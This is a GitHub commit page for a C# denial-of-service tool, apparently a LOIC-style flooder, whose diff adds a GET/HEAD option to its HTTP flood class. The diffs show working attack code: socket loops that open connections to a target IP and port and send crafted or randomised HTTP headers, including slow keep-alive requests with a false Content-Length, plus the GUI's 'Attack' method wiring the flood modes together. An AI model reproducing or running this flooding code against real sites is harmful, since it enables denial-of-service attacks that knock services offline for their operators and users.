Skip to content

Commit

Permalink
HTTP class now supports HEAD and GET
Browse files Browse the repository at this point in the history
NewEraCracker committed May 12, 2016
1 parent 40a9121 commit 3396f5e
Showing 3 changed files with 20 additions and 18 deletions.
10 changes: 6 additions & 4 deletions src/HTTPFlooder.cs
Original file line number Diff line number Diff line change
@@ -23,10 +23,11 @@ public class HTTPFlooder : cHLDos
private readonly int Port;
private readonly string Subsite;
private readonly bool Resp;
private readonly bool AllowRandom;
private readonly bool Random;
private readonly bool UseGet;
private readonly bool AllowGzip;

public HTTPFlooder(string host, string ip, int port, string subSite, bool resp, int delay, int timeout, bool random, bool gzip)
public HTTPFlooder(string host, string ip, int port, string subSite, bool resp, int delay, int timeout, bool random, bool useget, bool gzip)
{
this.Host = (host == "") ? ip : host;
this.IP = ip;
@@ -35,7 +36,8 @@ public HTTPFlooder(string host, string ip, int port, string subSite, bool resp,
this.Resp = resp;
this.Delay = delay;
this.Timeout = timeout * 1000;
this.AllowRandom = random;
this.Random = random;
this.UseGet = useget;
this.AllowGzip = gzip;
}
public override void Start()
@@ -90,7 +92,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
try { socket.Connect(RHost); }
catch(SocketException) { goto _continue; }

byte[] buf = Functions.RandomHttpHeader("GET", Subsite, Host, AllowRandom, AllowGzip);
byte[] buf = Functions.RandomHttpHeader((UseGet ? "GET" : "HEAD"), Subsite, Host, Random, AllowGzip);

socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
4 changes: 2 additions & 2 deletions src/cHLDos.cs
Original file line number Diff line number Diff line change
@@ -428,7 +428,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
try
{
// header set-up
byte[] sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("{3} {0} HTTP/1.1{1}Host: {2}{1}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){1}Keep-Alive: 300{1}Connection: keep-alive{1}Content-Length: 42{1}{4}", _subSite, Environment.NewLine, _dns, ((_useget) ? "GET" : "POST"), ((_usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));
byte[] sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("{3} {0} HTTP/1.1{1}Host: {2}{1}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){1}Keep-Alive: 300{1}Connection: keep-alive{1}Content-Length: 42{1}{4}", _subSite, Environment.NewLine, _dns, (_useget ? "GET" : "POST"), (_usegZip ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));
byte[] tbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("X-a: b{0}", Environment.NewLine));
DateTime stop = DateTime.UtcNow;
IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(_ip), _port);
@@ -443,7 +443,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
while (this.IsFlooding && this.IsDelayed && DateTime.UtcNow < stop)
{
if (_random == true)
sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("{4} {0}{1} HTTP/1.1{2}Host: {3}{2}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){2}Keep-Alive: 300{2}Connection: keep-alive{2}Content-Length: 42{2}{5}", _subSite, Functions.RandomString(), Environment.NewLine, _dns, ((_useget) ? "GET" : "POST"), ((_usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));
sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("{4} {0}{1} HTTP/1.1{2}Host: {3}{2}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){2}Keep-Alive: 300{2}Connection: keep-alive{2}Content-Length: 42{2}{5}", _subSite, Functions.RandomString(), Environment.NewLine, _dns, (_useget ? "GET" : "POST"), (_usegZip ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));

Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
try
24 changes: 12 additions & 12 deletions src/frmMain.cs
Original file line number Diff line number Diff line change
@@ -192,7 +192,7 @@ private void Attack(bool toggle, bool on, bool silent = false)
}
if (protocol == Protocol.HTTP)
{
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkAllowGzip.Checked);
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
}
if (protocol == Protocol.TCP || protocol == Protocol.UDP)
{
@@ -934,7 +934,7 @@ private void tShowStats_Tick(object sender, EventArgs e)
}
if (protocol == Protocol.HTTP)
{
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkAllowGzip.Checked);
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
}
if (protocol == Protocol.TCP || protocol == Protocol.UDP)
{
@@ -974,7 +974,7 @@ private void tShowStats_Tick(object sender, EventArgs e)
}
if (protocol == Protocol.HTTP)
{
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkAllowGzip.Checked);
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
}
if (protocol == Protocol.TCP || protocol == Protocol.UDP)
{
@@ -1579,15 +1579,15 @@ private void frmMain_KeyDown(object sender, KeyEventArgs e)

private void cbMethod_SelectedIndexChanged(object sender, EventArgs e)
{
chkMsgRandom.Enabled = (cbMethod.SelectedIndex <= 1) ? true : false;
txtData.Enabled = (cbMethod.SelectedIndex <= 1) ? true : false;
chkRandom.Enabled = (cbMethod.SelectedIndex >= 2) ? true : false;
txtSubsite.Enabled = (cbMethod.SelectedIndex >= 2) ? true : false;

txtSLSpT.Enabled = (cbMethod.SelectedIndex >= 3) ? true : false;
chkAllowGzip.Enabled = (cbMethod.SelectedIndex >= 2) ? true : false;
chkWaitReply.Enabled = (cbMethod.SelectedIndex == 4) ? false : true;
chkUseGet.Enabled = (cbMethod.SelectedIndex == 4) ? true : false;
chkMsgRandom.Enabled = (bool)(cbMethod.SelectedIndex <= 1); // TCP_UDP
txtData.Enabled = (bool)(cbMethod.SelectedIndex <= 1); // TCP_UDP
chkRandom.Enabled = (bool)(cbMethod.SelectedIndex >= 2); // HTTP_ReCoil_slowLoic
txtSubsite.Enabled = (bool)(cbMethod.SelectedIndex >= 2); // HTTP_ReCoil_slowLoic

txtSLSpT.Enabled = (bool)(cbMethod.SelectedIndex >= 3); // ReCoil_slowLoic
chkAllowGzip.Enabled = (bool)(cbMethod.SelectedIndex >= 2); // HTTP_ReCoil_slowLoic
chkWaitReply.Enabled = (bool)(cbMethod.SelectedIndex != 4); // TCP_UDP_HTTP_ReCoil
chkUseGet.Enabled = (bool)(cbMethod.SelectedIndex == 2 || cbMethod.SelectedIndex == 4); // HTTP_slowLoic
}

private void txtThreads_Leave(object sender, EventArgs e)

0 comments on commit 3396f5e

Please sign in to comment.